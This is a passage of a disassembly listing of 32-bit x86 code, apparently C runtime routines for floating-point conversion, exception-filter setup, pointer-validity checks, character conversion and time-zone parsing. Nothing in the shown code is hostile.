CODE XREF: sub_41E18F+28j test ebx, 80000h jz short loc_41E1C5 or al, 2 loc_41E1C5: ; CODE XREF: sub_41E18F+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_41E1F2 cmp ecx, 100h jz short loc_41E1EF cmp ecx, esi jz short loc_41E1EA cmp ecx, edx jnz short loc_41E1F2 or ah, 0Ch jmp short loc_41E1F2 ; --------------------------------------------------------------------------- loc_41E1EA: ; CODE XREF: sub_41E18F+50j or ah, 8 jmp short loc_41E1F2 ; --------------------------------------------------------------------------- loc_41E1EF: ; CODE XREF: sub_41E18F+4Cj or ah, 4 loc_41E1F2: ; CODE XREF: sub_41E18F+44j ; sub_41E18F+54j ... mov ecx, ebx and ecx, 30000h jz short loc_41E208 cmp ecx, 10000h jnz short loc_41E20A or eax, esi jmp short loc_41E20A ; --------------------------------------------------------------------------- loc_41E208: ; CODE XREF: sub_41E18F+6Bj or eax, edx loc_41E20A: ; CODE XREF: sub_41E18F+73j ; sub_41E18F+77j pop esi test ebx, 40000h pop ebx jz short locret_41E217 or ah, 10h locret_41E217: ; CODE XREF: sub_41E18F+83j retn sub_41E18F endp ; =============== S U B R O U T I N E ======================================= sub_41E218 proc near ; CODE XREF: sub_41E2B7+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_41E25D inc esi cmp esi, 3 jge short loc_41E258 lea eax, [eax+esi*4] loc_41E24A: ; CODE XREF: sub_41E218+3Ej cmp dword ptr [eax], 0 jnz short loc_41E25D inc esi add eax, 4 cmp esi, 3 jl short loc_41E24A loc_41E258: ; CODE XREF: sub_41E218+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_41E25D: ; CODE XREF: sub_41E218+27j ; sub_41E218+35j xor eax, eax pop esi retn sub_41E218 endp ; =============== S U B R O U T I N E ======================================= sub_41E261 proc near ; CODE XREF: sub_41E2B7+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_41F266 add esp, 0Ch dec esi js short loc_41E2B3 lea edi, [ebx+esi*4] loc_41E29A: ; CODE XREF: sub_41E261+50j test eax, eax jz short loc_41E2B3 push edi push 1 push dword ptr [edi] call sub_41F266 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_41E29A loc_41E2B3: ; CODE XREF: sub_41E261+34j ; sub_41E261+3Bj pop edi pop esi pop ebx retn sub_41E261 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E2B7 proc near ; CODE XREF: sub_41E412+81p ; sub_41E412+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_41E31B inc ebx push ebx push [ebp+arg_0] call sub_41E218 pop ecx test eax, eax pop ecx jnz short loc_41E318 push edi push [ebp+arg_0] call sub_41E261 pop ecx mov [ebp+var_4], eax pop ecx loc_41E318: ; CODE XREF: sub_41E2B7+51j mov eax, [ebp+arg_4] loc_41E31B: ; CODE XREF: sub_41E2B7+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_41E33B mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_41E33B: ; CODE XREF: sub_41E2B7+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41E2B7 endp ; =============== S U B R O U T I N E ======================================= sub_41E343 proc near ; CODE XREF: sub_41E412+75p ; sub_41E412+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_41E351: ; CODE XREF: sub_41E343+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_41E351 pop esi retn sub_41E343 endp ; =============== S U B R O U T I N E ======================================= sub_41E35E proc near ; CODE XREF: sub_41E412+5Fp ; sub_41E412+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_41E35E endp ; =============== S U B R O U T I N E ======================================= sub_41E36A proc near ; CODE XREF: sub_41E412+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_41E370: ; CODE XREF: sub_41E36A+12j cmp dword ptr [eax], 0 jnz short loc_41E382 inc ecx add eax, 4 cmp ecx, 3 jl short loc_41E370 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41E382: ; CODE XREF: sub_41E36A+9j xor eax, eax retn sub_41E36A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E385 proc near ; CODE XREF: sub_41E412+C0p ; sub_41E412+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_41E3BB: ; CODE XREF: sub_41E385+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_41E3BB mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_41E3ED: ; CODE XREF: sub_41E385+86j cmp ebx, edi jl short loc_41E400 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_41E407 ; --------------------------------------------------------------------------- loc_41E400: ; CODE XREF: sub_41E385+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_41E407: ; CODE XREF: sub_41E385+79j dec ebx sub ecx, 4 jns short loc_41E3ED pop edi pop esi pop ebx leave retn sub_41E385 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E412 proc near ; CODE XREF: sub_41E57E+Dp ; sub_41E594+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_41E47F lea eax, [ebp+var_C] xor esi, esi push eax call sub_41E36A test eax, eax pop ecx jnz loc_41E53E lea eax, [ebp+var_C] push eax call sub_41E35E pop ecx loc_41E477: ; CODE XREF: sub_41E412+E4j push 2 loc_41E479: ; CODE XREF: sub_41E412+110j pop eax jmp loc_41E540 ; --------------------------------------------------------------------------- loc_41E47F: ; CODE XREF: sub_41E412+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_41E343 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_41E2B7 add esp, 10h test eax, eax jz short loc_41E4A0 inc ebx loc_41E4A0: ; CODE XREF: sub_41E412+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_41E4B8 lea eax, [ebp+var_C] push eax call sub_41E35E pop ecx jmp short loc_41E4F4 ; --------------------------------------------------------------------------- loc_41E4B8: ; CODE XREF: sub_41E412+98j cmp ebx, eax jg short loc_41E4FB sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_41E343 lea eax, [ebp+var_C] push esi push eax call sub_41E385 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_41E2B7 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_41E385 add esp, 20h loc_41E4F4: ; CODE XREF: sub_41E412+A4j xor esi, esi jmp loc_41E477 ; --------------------------------------------------------------------------- loc_41E4FB: ; CODE XREF: sub_41E412+A8j cmp ebx, [edi] jl short loc_41E527 lea eax, [ebp+var_C] push eax call sub_41E35E push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_41E385 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_41E479 ; --------------------------------------------------------------------------- loc_41E527: ; CODE XREF: sub_41E412+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_41E385 pop ecx pop ecx loc_41E53E: ; CODE XREF: sub_41E412+55j xor eax, eax loc_41E540: ; CODE XREF: sub_41E412+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_41E56F mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_41E579 ; --------------------------------------------------------------------------- loc_41E56F: ; CODE XREF: sub_41E412+14Ej cmp edi, 20h jnz short loc_41E579 mov ecx, [ebp+arg_4] mov [ecx], esi loc_41E579: ; CODE XREF: sub_41E412+15Bj ; sub_41E412+160j pop edi pop esi pop ebx leave retn sub_41E412 endp ; =============== S U B R O U T I N E ======================================= sub_41E57E proc near ; CODE XREF: sub_41E5AA+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43A8C0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41E412 add esp, 0Ch retn sub_41E57E endp ; =============== S U B R O U T I N E ======================================= sub_41E594 proc near ; CODE XREF: sub_41E5D7+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43A8D8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41E412 add esp, 0Ch retn sub_41E594 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E5AA proc near ; CODE XREF: sub_41A863+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_41F407 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41E57E add esp, 24h leave retn sub_41E5AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E5D7 proc near ; CODE XREF: sub_41A863+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_41F407 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41E594 add esp, 24h leave retn sub_41E5D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E604 proc near ; CODE XREF: sub_41A8A1+65p ; sub_41A9A5+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_41E641 mov [ebp+arg_0], ebx xor ebx, ebx loc_41E627: ; CODE XREF: sub_41E604+38j mov dl, [ecx] test dl, dl jz short loc_41E633 movsx edx, dl inc ecx jmp short loc_41E636 ; --------------------------------------------------------------------------- loc_41E633: ; CODE XREF: sub_41E604+27j push 30h pop edx loc_41E636: ; CODE XREF: sub_41E604+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_41E627 mov edx, [ebp+arg_8] loc_41E641: ; CODE XREF: sub_41E604+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_41E65A cmp byte ptr [ecx], 35h jl short loc_41E65A loc_41E64D: ; CODE XREF: sub_41E604+52j dec eax cmp byte ptr [eax], 39h jnz short loc_41E658 mov byte ptr [eax], 30h jmp short loc_41E64D ; --------------------------------------------------------------------------- loc_41E658: ; CODE XREF: sub_41E604+4Dj inc byte ptr [eax] loc_41E65A: ; CODE XREF: sub_41E604+42j ; sub_41E604+47j cmp byte ptr [esi], 31h jnz short loc_41E664 inc dword ptr [edx+4] jmp short loc_41E676 ; --------------------------------------------------------------------------- loc_41E664: ; CODE XREF: sub_41E604+59j push edi call sub_415B10 inc eax push eax push edi push esi call sub_416320 add esp, 10h loc_41E676: ; CODE XREF: sub_41E604+5Ej pop edi pop esi pop ebx pop ebp retn sub_41E604 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E67B proc near ; CODE XREF: sub_41A8A1+3Fp ; sub_41A9A5+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_41E6DF pop ecx lea esi, [ebp+var_C] pop ecx push offset word_46B808 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_41F8D8 mov dword_46B830, eax add esp, 18h movsx eax, byte_46B80A mov dword_46B828, eax pop edi movsx eax, word_46B808 mov dword_46B82C, eax mov dword_46B834, offset dword_46B80C mov eax, offset dword_46B828 pop esi leave retn sub_41E67B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E6DF proc near ; CODE XREF: sub_41E67B+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_41E72D cmp ebx, edi jz short loc_41E726 lea edi, [ecx+3C00h] jmp short loc_41E74E ; --------------------------------------------------------------------------- loc_41E726: ; CODE XREF: sub_41E6DF+3Dj mov edi, 7FFFh jmp short loc_41E74E ; --------------------------------------------------------------------------- loc_41E72D: ; CODE XREF: sub_41E6DF+39j xor ebx, ebx cmp eax, ebx jnz short loc_41E745 cmp edx, ebx jnz short loc_41E745 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_41E790 ; --------------------------------------------------------------------------- loc_41E745: ; CODE XREF: sub_41E6DF+52j ; sub_41E6DF+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_41E74E: ; CODE XREF: sub_41E6DF+45j ; sub_41E6DF+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_41E766: ; CODE XREF: sub_41E6DF+A6j test ecx, esi jnz short loc_41E787 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_41E766 ; --------------------------------------------------------------------------- loc_41E787: ; CODE XREF: sub_41E6DF+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_41E790: ; CODE XREF: sub_41E6DF+64j pop edi pop esi pop ebx leave retn sub_41E6DF endp ; --------------------------------------------------------------------------- push 2 call sub_417C0E pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_41E79E proc near ; DATA XREF: sub_41E7E4o ; seg001:0043A298o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_41E7C1 cmp dword ptr [eax+10h], 3 jnz short loc_41E7C1 cmp dword ptr [eax+14h], 19930520h jnz short loc_41E7C1 jmp sub_41B42C ; --------------------------------------------------------------------------- loc_41E7C1: ; CODE XREF: sub_41E79E+Dj ; sub_41E79E+13j ... mov eax, dword_46B838 test eax, eax jz short loc_41E7DE push eax call sub_41E83A test eax, eax pop ecx jz short loc_41E7DE push esi call dword_46B838 jmp short loc_41E7E0 ; --------------------------------------------------------------------------- loc_41E7DE: ; CODE XREF: sub_41E79E+2Aj ; sub_41E79E+35j xor eax, eax loc_41E7E0: ; CODE XREF: sub_41E79E+3Ej pop esi retn 4 sub_41E79E endp ; =============== S U B R O U T I N E ======================================= sub_41E7E4 proc near ; DATA XREF: seg001:00423024o push offset sub_41E79E call dword_42101C ; SetUnhandledExceptionFilter mov dword_46B838, eax retn sub_41E7E4 endp ; =============== S U B R O U T I N E ======================================= sub_41E7F5 proc near ; DATA XREF: seg001:0042303Co push dword_46B838 call dword_42101C ; SetUnhandledExceptionFilter retn sub_41E7F5 endp ; =============== S U B R O U T I N E ======================================= sub_41E802 proc near ; CODE XREF: sub_41AC79+6Bp ; sub_41B18A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_421018 ; IsBadReadPtr test eax, eax jz short loc_41E81A xor esi, esi loc_41E81A: ; CODE XREF: sub_41E802+14j mov eax, esi pop esi retn sub_41E802 endp ; =============== S U B R O U T I N E ======================================= sub_41E81E proc near ; CODE XREF: sub_41B18A+73p ; sub_41B18A+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_421184 ; IsBadWritePtr test eax, eax jz short loc_41E836 xor esi, esi loc_41E836: ; CODE XREF: sub_41E81E+14j mov eax, esi pop esi retn sub_41E81E endp ; =============== S U B R O U T I N E ======================================= sub_41E83A proc near ; CODE XREF: sub_41B18A+15Bp ; sub_41E79E+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call dword_421014 ; IsBadCodePtr test eax, eax jz short loc_41E84E xor esi, esi loc_41E84E: ; CODE XREF: sub_41E83A+10j mov eax, esi pop esi retn sub_41E83A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41B42C loc_41E852: ; CODE XREF: sub_41B42C:loc_41B47Dj push 0Ah call sub_41D7B5 push 16h call sub_41FB6B pop ecx pop ecx push 3 call sub_417858 ; END OF FUNCTION CHUNK FOR sub_41B42C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E869 proc near ; CODE XREF: sub_41B605+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_41E88C cmp [ebp+arg_8], ebx jz short loc_41E88C mov al, [esi] cmp al, bl jnz short loc_41E892 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_41E88C mov [eax], bx loc_41E88C: ; CODE XREF: sub_41E869+Cj ; sub_41E869+11j ... xor eax, eax loc_41E88E: ; CODE XREF: sub_41E869+42j ; sub_41E869+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41E892: ; CODE XREF: sub_41E869+17j cmp dword_46B6CC, ebx jnz short loc_41E8AD mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_41E8A8 movzx ax, al mov [ecx], ax loc_41E8A8: ; CODE XREF: sub_41E869+36j ; sub_41E869+C0j push 1 pop eax jmp short loc_41E88E ; --------------------------------------------------------------------------- loc_41E8AD: ; CODE XREF: sub_41E869+2Fj mov ecx, off_437F20 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41E90A mov eax, dword_43812C cmp eax, 1 jle short loc_41E8F1 cmp [ebp+arg_8], eax jl short loc_41E8FB xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_46B6DC call dword_421064 ; MultiByteToWideChar test eax, eax mov eax, dword_43812C jnz short loc_41E88E loc_41E8F1: ; CODE XREF: sub_41E869+5Cj cmp [ebp+arg_8], eax jb short loc_41E8FB cmp [esi+1], bl jnz short loc_41E88E loc_41E8FB: ; CODE XREF: sub_41E869+61j ; sub_41E869+8Bj ... mov dword_46B634, 2Ah or eax, 0FFFFFFFFh jmp short loc_41E88E ; --------------------------------------------------------------------------- loc_41E90A: ; CODE XREF: sub_41E869+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_46B6DC call dword_421064 ; MultiByteToWideChar test eax, eax jnz loc_41E8A8 jmp short loc_41E8FB sub_41E869 endp ; =============== S U B R O U T I N E ======================================= sub_41E931 proc near ; CODE XREF: sub_41B605+76p ; sub_41B605+88p ... arg_0 = dword ptr 4 cmp dword_43812C, 1 jle short loc_41E948 push 8 push [esp+4+arg_0] call sub_418576 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41E948: ; CODE XREF: sub_41E931+7j mov eax, [esp+arg_0] mov ecx, off_437F20 mov al, [ecx+eax*2] and eax, 8 retn sub_41E931 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41E960 proc near ; CODE XREF: sub_41B605+797p ; sub_41B605+7E7p cmp cl, 40h jnb short loc_41E97A cmp cl, 20h jnb short loc_41E970 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_41E970: ; CODE XREF: sub_41E960+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_41E97A: ; CODE XREF: sub_41E960+3j xor eax, eax xor edx, edx retn sub_41E960 endp ; =============== S U B R O U T I N E ======================================= sub_41E97F proc near ; CODE XREF: sub_41C07B+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_41E9CB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_41E99D test al, 80h jz short loc_41E9CB test al, 2 jnz short loc_41E9CB loc_41E99D: ; CODE XREF: sub_41E97F+14j cmp dword ptr [esi+8], 0 jnz short loc_41E9AA push esi call sub_41D908 pop ecx loc_41E9AA: ; CODE XREF: sub_41E97F+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_41E9BA cmp dword ptr [esi+4], 0 jnz short loc_41E9CB inc eax mov [esi], eax loc_41E9BA: ; CODE XREF: sub_41E97F+30j test byte ptr [esi+0Ch], 40h jz short loc_41E9D1 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_41E9D7 inc eax mov [esi], eax loc_41E9CB: ; CODE XREF: sub_41E97F+9j ; sub_41E97F+18j ... or eax, 0FFFFFFFFh loc_41E9CE: ; CODE XREF: sub_41E97F+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41E9D1: ; CODE XREF: sub_41E97F+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_41E9D7: ; CODE XREF: sub_41E97F+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_41E9CE sub_41E97F endp ; =============== S U B R O U T I N E ======================================= sub_41E9ED proc near ; CODE XREF: sub_41C0B6:loc_41C0F5p cmp dword_46B8F8, 0 jnz short locret_41EA01 call sub_41EA02 inc dword_46B8F8 locret_41EA01: ; CODE XREF: sub_41E9ED+7j retn sub_41E9ED endp ; =============== S U B R O U T I N E ======================================= sub_41EA02 proc near ; CODE XREF: sub_41E9ED+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_46B840, ebp mov dword_43A998, ebx mov dword_43A988, ebx call sub_41FCDD mov esi, eax pop ecx cmp esi, ebp jnz loc_41EB2B push offset dword_46B848 call dword_421158 ; GetTimeZoneInformation cmp eax, ebx jz loc_41EC5A mov eax, dword_46B848 mov ecx, dword_46B89C imul eax, 3Ch cmp word_46B88E, bp push 1 pop edx mov dword_43A8F0, eax mov dword_46B840, edx jz short loc_41EA79 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43A8F0, eax loc_41EA79: ; CODE XREF: sub_41EA02+69j cmp word_46B8E2, bp jz short loc_41EA9D mov eax, dword_46B8F0 cmp eax, ebp jz short loc_41EA9D sub eax, ecx mov dword_43A8F4, edx imul eax, 3Ch mov dword_43A8F8, eax jmp short loc_41EAA9 ; --------------------------------------------------------------------------- loc_41EA9D: ; CODE XREF: sub_41EA02+7Ej ; sub_41EA02+87j mov dword_43A8F4, ebp mov dword_43A8F8, ebp loc_41EAA9: ; CODE XREF: sub_41EA02+99j lea eax, [esp+14h+var_4] mov esi, dword_421138 push eax push ebp push 3Fh mov edi, 220h push off_43A97C push ebx push offset dword_46B84C push edi push dword_46B6DC call esi ; WideCharToMultiByte test eax, eax jz short loc_41EAE6 cmp [esp+14h+var_4], ebp jnz short loc_41EAE6 mov eax, off_43A97C and byte ptr [eax+3Fh], 0 jmp short loc_41EAEE ; --------------------------------------------------------------------------- loc_41EAE6: ; CODE XREF: sub_41EA02+D1j ; sub_41EA02+D7j mov eax, off_43A97C and byte ptr [eax], 0 loc_41EAEE: ; CODE XREF: sub_41EA02+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43A980 push ebx push offset dword_46B8A0 push edi push dword_46B6DC call esi ; WideCharToMultiByte test eax, eax jz loc_41EC52 cmp [esp+14h+var_4], ebp jnz loc_41EC52 mov eax, off_43A980 and byte ptr [eax+3Fh], 0 jmp loc_41EC5A ; --------------------------------------------------------------------------- loc_41EB2B: ; CODE XREF: sub_41EA02+2Dj cmp byte ptr [esi], 0 jz loc_41EC5A mov eax, dword_46B8F4 cmp eax, ebp jz short loc_41EB4E push eax push esi call sub_415730 pop ecx test eax, eax pop ecx jz loc_41EC5A loc_41EB4E: ; CODE XREF: sub_41EA02+139j push dword_46B8F4 call sub_415C9B push esi call sub_415B10 inc eax push eax call sub_415BE9 add esp, 0Ch cmp eax, ebp mov dword_46B8F4, eax jz loc_41EC5A push esi push eax call sub_415A20 push 3 push esi push off_43A97C call sub_416BE0 mov eax, off_43A97C add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_41EBA3 push 1 inc esi pop edi loc_41EBA3: ; CODE XREF: sub_41EA02+19Bj push esi call sub_4157F4 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43A8F0, ecx loc_41EBBA: ; CODE XREF: sub_41EA02+1C7j mov al, [esi] cmp al, 2Bh jz short loc_41EBC8 cmp al, bl jl short loc_41EBCB cmp al, 39h jg short loc_41EBCB loc_41EBC8: ; CODE XREF: sub_41EA02+1BCj inc esi jmp short loc_41EBBA ; --------------------------------------------------------------------------- loc_41EBCB: ; CODE XREF: sub_41EA02+1C0j ; sub_41EA02+1C4j cmp byte ptr [esi], 3Ah jnz short loc_41EC1E inc esi push esi call sub_4157F4 imul eax, 3Ch pop ecx mov ecx, dword_43A8F0 add ecx, eax mov dword_43A8F0, ecx loc_41EBE9: ; CODE XREF: sub_41EA02+1F2j mov al, [esi] cmp al, bl jl short loc_41EBF6 cmp al, 39h jg short loc_41EBF6 inc esi jmp short loc_41EBE9 ; --------------------------------------------------------------------------- loc_41EBF6: ; CODE XREF: sub_41EA02+1EBj ; sub_41EA02+1EFj cmp byte ptr [esi], 3Ah jnz short loc_41EC1E inc esi push esi call sub_4157F4 pop ecx mov ecx, dword_43A8F0 add ecx, eax mov dword_43A8F0, ecx loc_41EC11: ; CODE XREF: sub_41EA02+21Aj mov al, [esi] cmp al, bl jl short loc_41EC1E cmp al, 39h jg short loc_41EC1E inc esi jmp short loc_41EC11 ; --------------------------------------------------------------------------- loc_41EC1E: ; CODE XREF: sub_41EA02+1CCj ; 